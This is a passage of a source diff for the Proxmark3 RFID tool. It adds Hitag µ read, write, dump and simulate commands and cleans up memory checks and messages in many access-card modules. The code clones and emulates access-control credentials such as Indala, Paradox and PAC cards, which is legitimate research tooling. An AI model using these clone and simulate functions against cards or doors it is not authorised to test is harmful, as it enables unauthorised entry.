SendCommandNG(CMD_LF_HITAGU_WRITE, (uint8_t *)&packet, sizeof(packet)); + + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_LF_HITAGU_WRITE, &resp, 4000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + if (resp.status == PM3_ETEAROFF) { + PrintAndLogEx(INFO, "Writing tear off triggered"); + return PM3_SUCCESS; + } + + if (resp.status != PM3_SUCCESS) { + print_error(resp.reason); + return resp.status; + } + + PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); + return PM3_SUCCESS; +} + +static int CmdLFHitagUReader(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag htu reader", "Act as a Hitag µ reader. Look for Hitag µ tags until Enter or the pm3 button is pressed\n", + "lf hitag htu reader\n" + "lf hitag htu reader -@ -> Continuous mode"); + + void *argtable[] = { + arg_param_begin, arg_lit0("@", NULL, "continuous reader mode"), arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + bool cm = arg_get_lit(ctx, 1); + CLIParserFree(ctx); + + if (cm) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + } + + do { + read_htu_uid(); + } while (cm && kbd_enter_pressed() == false); + + return PM3_SUCCESS; +} + +static int CmdLFHitagUSim(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag htu sim", + "Simulate Hitag µ transponder\n" + "You need to `lf hitag htu eload` first", + "lf hitag htu sim\n" + "lf hitag htu sim --82xx\n" + "lf hitag htu sim -t 30 -> set threshold to 30"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("8", "82xx", "simulate 82xx"), + arg_int0("t", "threshold", "", "set edge detect threshold (def: 127)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + // bool use_82xx = arg_get_lit(ctx, 1); // not implemented yet + int threshold = arg_get_int_def(ctx, 2, 127); + CLIParserFree(ctx); + + clearCommandBuffer(); + SendCommandMIX(CMD_LF_HITAGU_SIMULATE, false, threshold, 0, NULL, 0); + return PM3_SUCCESS; +} + +static int CmdLFHitagUList(const char *Cmd) { return CmdTraceListAlias(Cmd, "lf hitag htu", "htu"); } + +static command_t CommandTable[] = { + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"list", CmdLFHitagUList, AlwaysAvailable, "List Hitag µ trace history"}, + {"-----------", CmdHelp, IfPm3Hitag, "----------- " _CYAN_("General") " -----------"}, + {"reader", CmdLFHitagUReader, IfPm3Hitag, "Act like a Hitag µ reader"}, + {"rdbl", CmdLFHitagURead, IfPm3Hitag, "Read Hitag µ block"}, + {"dump", CmdLFHitagUDump, IfPm3Hitag, "Dump Hitag µ blocks to a file"}, + {"wrbl", CmdLFHitagUWrite, IfPm3Hitag, "Write Hitag µ block"}, + {"-----------", CmdHelp, IfPm3Hitag, "----------- " _CYAN_("Simulation") " -----------"}, + {"sim", CmdLFHitagUSim, IfPm3Hitag, "Simulate Hitag µ transponder"}, + {NULL, NULL, 0, NULL} +}; + +static int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} + +int CmdLFHitagU(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} diff --git a/client/src/cmdlfhitagu.h b/client/src/cmdlfhitagu.h new file mode 100644 index 000000000..af2153083 --- /dev/null +++ b/client/src/cmdlfhitagu.h @@ -0,0 +1,32 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Low frequency Hitag µ support +//----------------------------------------------------------------------------- + +#ifndef CMDLFHITAGU_H__ +#define CMDLFHITAGU_H__ + +#include "common.h" +#include "hitag.h" + +uint8_t hitagu_CRC_check(uint8_t *d, uint32_t nbit); +void annotateHitagU(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response); + +int CmdLFHitagU(const char *Cmd); + +int read_htu_uid(void); + +#endif //CMDLFHITAGU_H__ diff --git a/client/src/cmdlfidteck.c b/client/src/cmdlfidteck.c index 6ac9c0695..b6976fe4d 100644 --- a/client/src/cmdlfidteck.c +++ b/client/src/cmdlfidteck.c @@ -226,8 +226,8 @@ static int CmdIdteckClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf idteck reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf idteck reader`") " to verify"); return res; } @@ -315,7 +315,7 @@ static int CmdIdteckReader(const char *Cmd) { do { lf_read(false, 5000); demodIdteck(NULL, !cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } diff --git a/client/src/cmdlfindala.c b/client/src/cmdlfindala.c index 89922c0ac..4efdd3531 100644 --- a/client/src/cmdlfindala.c +++ b/client/src/cmdlfindala.c @@ -175,6 +175,10 @@ static int sendTry(uint8_t fc, uint16_t cn, uint32_t delay, bool fmt4041x, bool // indala PSK, clock 32, carrier 0 lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->carrier = 2; payload->invert = 0; payload->clock = 32; @@ -405,7 +409,7 @@ static int CmdIndalaDemodAlt(const char *Cmd) { // under normal conditions it's < 2048 uint8_t *data = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t datasize = getFromGraphBuffer(data); @@ -628,7 +632,7 @@ static int CmdIndalaReader(const char *Cmd) { do { lf_read(false, 30000); demodIndalaEx(clk, invert, max_err, !cm); - } while (cm && !kbd_enter_pressed()); + } while (cm & (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -756,6 +760,10 @@ static int CmdIndalaSim(const char *Cmd) { // indala PSK, clock 32, carrier 0 lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->carrier = 2; payload->invert = 0; payload->clock = 32; @@ -945,8 +953,8 @@ static int CmdIndalaClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf indala reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf indala reader`") " to verify"); return res; } @@ -1155,12 +1163,12 @@ int getIndalaBits(uint8_t fc, uint16_t cn, uint8_t *bits) { chk += ((cn >> 2) & 1); //y14 == 89 - 30 = 59 chk += (cn & 1); //y16 == 71 - 30 = 41 - if ((chk & 1) == 0) { - bits[62] = 0; - bits[63] = 1; - } else { + if ((chk & 1) == 0) { // If the sum is even, checksum is '10' (binary) = 2. bits[62] = 1; bits[63] = 0; + } else { // If the sum is odd, checksum is '01' (binary) = 1. + bits[62] = 0; + bits[63] = 1; } // add parity diff --git a/client/src/cmdlfio.c b/client/src/cmdlfio.c index ad4517732..a56b6b3a0 100644 --- a/client/src/cmdlfio.c +++ b/client/src/cmdlfio.c @@ -68,7 +68,7 @@ int demodIOProx(bool verbose) { int idx = 0, retval = PM3_SUCCESS; uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -202,7 +202,7 @@ static int CmdIOProxReader(const char *Cmd) { do { lf_read(false, 12000); demodIOProx(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -251,6 +251,10 @@ static int CmdIOProxSim(const char *Cmd) { // arg2 --- Invert and clk setting // size --- 64 bits == 8 bytes lf_fsksim_t *payload = calloc(1, sizeof(lf_fsksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->fchigh = 10; payload->fclow = 8; payload->separator = 1; @@ -358,8 +362,8 @@ static int CmdIOProxClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf io reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf io reader`") " to verify"); return res; } diff --git a/client/src/cmdlfjablotron.c b/client/src/cmdlfjablotron.c index 2651ebe51..d0f9305d8 100644 --- a/client/src/cmdlfjablotron.c +++ b/client/src/cmdlfjablotron.c @@ -152,7 +152,7 @@ static int CmdJablotronReader(const char *Cmd) { do { lf_read(false, 16000); demodJablotron(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -240,8 +240,8 @@ static int CmdJablotronClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf jablotron reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf jablotron reader`") " to verify"); return res; } @@ -284,6 +284,11 @@ static int CmdJablotronSim(const char *Cmd) { getJablotronBits(fullcode, bs); lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + JABLOTRON_ARR_LEN); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(bs); + return PM3_EMALLOC; + } payload->encoding = 2; payload->invert = 1; payload->separator = 0; diff --git a/client/src/cmdlfkeri.c b/client/src/cmdlfkeri.c index 1a390fa45..4fc5cac72 100644 --- a/client/src/cmdlfkeri.c +++ b/client/src/cmdlfkeri.c @@ -221,7 +221,7 @@ static int CmdKeriReader(const char *Cmd) { do { lf_read(false, 10000); demodKeri(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -309,8 +309,8 @@ static int CmdKeriClone(const char *Cmd) { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf keri read`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf keri read`") " to verify"); return res; } @@ -346,6 +346,10 @@ static int CmdKeriSim(const char *Cmd) { PrintAndLogEx(SUCCESS, "Simulating KERI - Internal Id " _YELLOW_("%" PRIu64), internalid); lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->carrier = 2; payload->invert = 0; payload->clock = 32; diff --git a/client/src/cmdlfmotorola.c b/client/src/cmdlfmotorola.c index 52c70c832..04cf7fe20 100644 --- a/client/src/cmdlfmotorola.c +++ b/client/src/cmdlfmotorola.c @@ -179,7 +179,7 @@ static int CmdMotorolaReader(const char *Cmd) { // 64 * 32 * 2 * n-ish lf_read(false, 5000); res = demodMotorola(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); // reset back to 125 kHz sc.divisor = LF_DIVISOR_125; @@ -253,8 +253,8 @@ static int CmdMotorolaClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf motorola reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf motorola reader`") " to verify"); return res; } diff --git a/client/src/cmdlfnedap.c b/client/src/cmdlfnedap.c index 4d51116e8..ac50d4851 100644 --- a/client/src/cmdlfnedap.c +++ b/client/src/cmdlfnedap.c @@ -296,7 +296,7 @@ static int CmdLFNedapReader(const char *Cmd) { do { lf_read(false, 16000); demodNedap(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -472,8 +472,8 @@ static int CmdLFNedapClone(const char *Cmd) { } else { PrintAndLogEx(NORMAL, ""); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf nedap reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf nedap reader`") " to verify"); return res; } @@ -539,6 +539,10 @@ static int CmdLFNedapSim(const char *Cmd) { // NEDAP, Biphase = 2, clock 64, inverted, (DIPhase == inverted BIphase) lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + g_DemodBufferLen); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 2; payload->invert = 1; payload->separator = 0; diff --git a/client/src/cmdlfnexwatch.c b/client/src/cmdlfnexwatch.c index 06a1dce44..505ca6d7e 100644 --- a/client/src/cmdlfnexwatch.c +++ b/client/src/cmdlfnexwatch.c @@ -287,7 +287,7 @@ static int CmdNexWatchReader(const char *Cmd) { do { lf_read(false, 20000); demodNexWatch(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -423,7 +423,17 @@ static int CmdNexWatchClone(const char *Cmd) { blocks[0] = 0x00042080; uint8_t *res_shifted = calloc(96, sizeof(uint8_t)); + if (res_shifted == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } + uint8_t *res = calloc(96, sizeof(uint8_t)); + if (res == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(res_shifted); + return PM3_EMALLOC; + } bytes_to_bytebits(raw, 12, res); psk1TOpsk2(res, 96); @@ -447,8 +457,8 @@ static int CmdNexWatchClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf nexwatch reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf nexwatch reader`") " to verify"); return res; } @@ -546,6 +556,10 @@ static int CmdNexWatchSim(const char *Cmd) { PrintAndLogEx(SUCCESS, "Simulating NexWatch - raw " _YELLOW_("%s"), sprint_hex_inrow(raw, sizeof(raw))); lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->carrier = 2; payload->invert = 0; payload->clock = 32; diff --git a/client/src/cmdlfnoralsy.c b/client/src/cmdlfnoralsy.c index 562cca539..b10ee7f97 100644 --- a/client/src/cmdlfnoralsy.c +++ b/client/src/cmdlfnoralsy.c @@ -150,7 +150,7 @@ static int CmdNoralsyReader(const char *Cmd) { do { lf_read(false, 8000); demodNoralsy(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -199,6 +199,10 @@ static int CmdNoralsyClone(const char *Cmd) { } uint8_t *bits = calloc(96, sizeof(uint8_t)); + if (bits == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } if (getnoralsyBits(id, year, bits) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Error with tag bitstream generation."); free(bits); @@ -220,8 +224,8 @@ static int CmdNoralsyClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf noralsy reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf noralsy reader`") " to verify"); return res; } @@ -257,6 +261,10 @@ static int CmdNoralsySim(const char *Cmd) { PrintAndLogEx(SUCCESS, "Simulating Noralsy - CardId: " _YELLOW_("%u") " year " _YELLOW_("%u"), id, year); lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 1; payload->invert = 0; payload->separator = 1; diff --git a/client/src/cmdlfpac.c b/client/src/cmdlfpac.c index c1f6247f7..8d00c40df 100644 --- a/client/src/cmdlfpac.c +++ b/client/src/cmdlfpac.c @@ -35,6 +35,9 @@ #include "cmdlfem4x05.h" // #include "cliparser.h" +// 8 bytes + null terminator +#define PAC_ID_LEN (8 + 1) + static int CmdHelp(const char *Cmd); // PAC_8byte format: preamble (8 mark/idle bits), ascii STX (02), ascii '2' (32), ascii '0' (30), ascii bytes 0..7 (cardid), then xor checksum of cardid bytes @@ -160,12 +163,13 @@ int demodPac(bool verbose) { uint32_t raw3 = bytebits_to_byte(g_DemodBuffer + 64, 32); uint32_t raw4 = bytebits_to_byte(g_DemodBuffer + 96, 32); - const size_t idLen = 9; // 8 bytes + null terminator - uint8_t cardid[idLen]; + // 8 bytes + null terminator + uint8_t cardid[PAC_ID_LEN]; int retval = pac_buf_to_cardid(g_DemodBuffer, g_DemodBufferLen, cardid, sizeof(cardid)); - if (retval == PM3_SUCCESS) + if (retval == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "PAC/Stanley - Card: " _GREEN_("%s") ", Raw: %08X%08X%08X%08X", cardid, raw1, raw2, raw3, raw4); + } return retval; } @@ -210,7 +214,7 @@ static int CmdPacReader(const char *Cmd) { do { lf_read(false, 4096 * 2 + 20); demodPac(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -236,7 +240,7 @@ static int CmdPacClone(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - uint8_t cnstr[9] = {0}; + uint8_t cnstr[10] = {0}; int cnlen = sizeof(cnstr) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated memset(cnstr, 0x00, sizeof(cnstr)); CLIGetStrWithReturn(ctx, 1, cnstr, &cnlen); @@ -304,8 +308,8 @@ static int CmdPacClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf pac reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf pac reader`") " to verify"); return res; } @@ -368,6 +372,10 @@ static int CmdPacSim(const char *Cmd) { // NRZ sim. lf_nrzsim_t *payload = calloc(1, sizeof(lf_nrzsim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->invert = 0; payload->separator = 0; payload->clock = 32; diff --git a/client/src/cmdlfparadox.c b/client/src/cmdlfparadox.c index 70906b58d..71aa19ebe 100644 --- a/client/src/cmdlfparadox.c +++ b/client/src/cmdlfparadox.c @@ -105,7 +105,7 @@ int demodParadox(bool verbose, bool oldChksum) { //raw fsk demod no manchester decoding no start bit finding just get binary from wave uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -285,7 +285,7 @@ static int CmdParadoxReader(const char *Cmd) { do { lf_read(false, 10000); demodParadox(!cm, old); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -383,8 +383,8 @@ static int CmdParadoxClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf paradox read`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf paradox read`") " to verify"); return res; } @@ -446,6 +446,10 @@ static int CmdParadoxSim(const char *Cmd) { uint8_t clk = 50, high = 10, low = 8; lf_fsksim_t *payload = calloc(1, sizeof(lf_fsksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->fchigh = high; payload->fclow = low; payload->separator = 0; diff --git a/client/src/cmdlfpcf7931.c b/client/src/cmdlfpcf7931.c index 067fecde2..df18617dc 100644 --- a/client/src/cmdlfpcf7931.c +++ b/client/src/cmdlfpcf7931.c @@ -44,7 +44,7 @@ int pcf7931_resetConfig(void) { configPcf.OffsetWidth = PCF7931_DEFAULT_OFFSET_WIDTH; configPcf.OffsetPosition = PCF7931_DEFAULT_OFFSET_POSITION; PrintAndLogEx(INFO, "Configuration reset"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf pcf7931 config`") " to view current settings"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf pcf7931 config") "` to view current settings"); return PM3_SUCCESS; } @@ -84,7 +84,7 @@ static int CmdLFPCF7931Reader(const char *Cmd) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -105,8 +105,8 @@ static int CmdLFPCF7931Config(const char *Cmd) { arg_lit0("r", "reset", "Reset configuration to default values"), arg_str0("p", "pwd", "", "Password, 7bytes, LSB-order"), arg_u64_0("d", "delay", "", "Tag initialization delay (in us)"), - arg_int0(NULL, "lw", "", "offset, low pulses width (in us)"), - arg_int0(NULL, "lp", "", "offset, low pulses position (in us)"), + arg_int0(NULL, "lw", "", "offset, low pulses width (in us), optional!"), + arg_int0(NULL, "lp", "", "offset, low pulses position (in us), optional!"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -193,8 +193,8 @@ static int CmdLFPCF7931Write(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_LF_PCF7931_WRITE, block, idx, data[0], buf, sizeof(buf)); - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf pcf7931 reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf pcf7931 reader`") " to verify"); return PM3_SUCCESS; } diff --git a/client/src/cmdlfpresco.c b/client/src/cmdlfpresco.c index 2fd78c724..969a054ce 100644 --- a/client/src/cmdlfpresco.c +++ b/client/src/cmdlfpresco.c @@ -160,7 +160,7 @@ static int CmdPrescoReader(const char *Cmd) { do { lf_read(false, 12000); demodPresco(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -264,8 +264,8 @@ static int CmdPrescoClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf presco reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf presco reader`") " to verify"); return res; } @@ -333,6 +333,10 @@ static int CmdPrescoSim(const char *Cmd) { getPrescoBits(fullcode, bs); lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 1; payload->invert = 0; payload->separator = 1; diff --git a/client/src/cmdlfpyramid.c b/client/src/cmdlfpyramid.c index 470d0e697..e29453263 100644 --- a/client/src/cmdlfpyramid.c +++ b/client/src/cmdlfpyramid.c @@ -45,7 +45,7 @@ int demodPyramid(bool verbose) { //raw fsk demod no manchester decoding no start bit finding just get binary from wave uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -231,7 +231,7 @@ static int CmdPyramidReader(const char *Cmd) { do { lf_read(false, 15000); demodPyramid(true); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -305,6 +305,7 @@ static int CmdPyramidClone(const char *Cmd) { uint8_t *bs = calloc(128, sizeof(uint8_t)); if (bs == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -355,8 +356,8 @@ static int CmdPyramidClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf pyramid reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf pyramid reader`") " to verify"); return res; } @@ -427,6 +428,10 @@ static int CmdPyramidSim(const char *Cmd) { // Pyramid uses: fcHigh: 10, fcLow: 8, clk: 50, invert: 0 lf_fsksim_t *payload = calloc(1, sizeof(lf_fsksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->fchigh = 10; payload->fclow = 8; payload->separator = 0; @@ -493,25 +498,28 @@ int getPyramidBits(uint32_t fc, uint32_t cn, uint8_t *pyramidBits) { // FSK Demod then try to locate a Farpointe Data (pyramid) ID int detectPyramid(uint8_t *dest, size_t *size, int *waveStartIdx) { - //make sure buffer has data + // make sure buffer has data if (*size < 128 * 50) return -1; - //test samples are not just noise + // test samples are not just noise if (getSignalProperties()->isnoise) return -2; // FSK demodulator RF/50 FSK 10,8 *size = fskdemod(dest, *size, 50, 1, 10, 8, waveStartIdx); // pyramid fsk2 - //did we get a good demod? + // did we get a good demod? if (*size < 128) return -3; size_t startIdx = 0; uint8_t preamble[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1}; - if (!preambleSearch(dest, preamble, sizeof(preamble), size, &startIdx)) - return -4; //preamble not found + if (!preambleSearch(dest, preamble, sizeof(preamble), size, &startIdx)) { + return -4; // preamble not found + } // wrong size? (between to preambles) - if (*size < 128) return -5; + if (*size < 128) { + return -5; + } return (int)startIdx; } diff --git a/client/src/cmdlfsecurakey.c b/client/src/cmdlfsecurakey.c index e20968a5e..30e997421 100644 --- a/client/src/cmdlfsecurakey.c +++ b/client/src/cmdlfsecurakey.c @@ -161,7 +161,7 @@ static int CmdSecurakeyReader(const char *Cmd) { do { lf_read(false, 8000); demodSecurakey(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -232,8 +232,8 @@ static int CmdSecurakeyClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf securakey reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf securakey reader`") " to verify"); return res; } @@ -270,6 +270,10 @@ static int CmdSecurakeySim(const char *Cmd) { bytes_to_bytebits(raw, sizeof(raw), bs); lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 1; payload->invert = 0; payload->separator = 0; diff --git a/client/src/cmdlft55xx.c b/client/src/cmdlft55xx.c index 9233ec660..49e50902f 100644 --- a/client/src/cmdlft55xx.c +++ b/client/src/cmdlft55xx.c @@ -345,6 +345,14 @@ static void arg_add_t55xx_downloadlink(void *at[], uint8_t *idx, uint8_t show, u char *r2 = (char *)calloc(r_count, sizeof(uint8_t)); char *r3 = (char *)calloc(r_count, sizeof(uint8_t)); + if (r0 == NULL || r1 == NULL || r2 == NULL || r3 == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(r0); 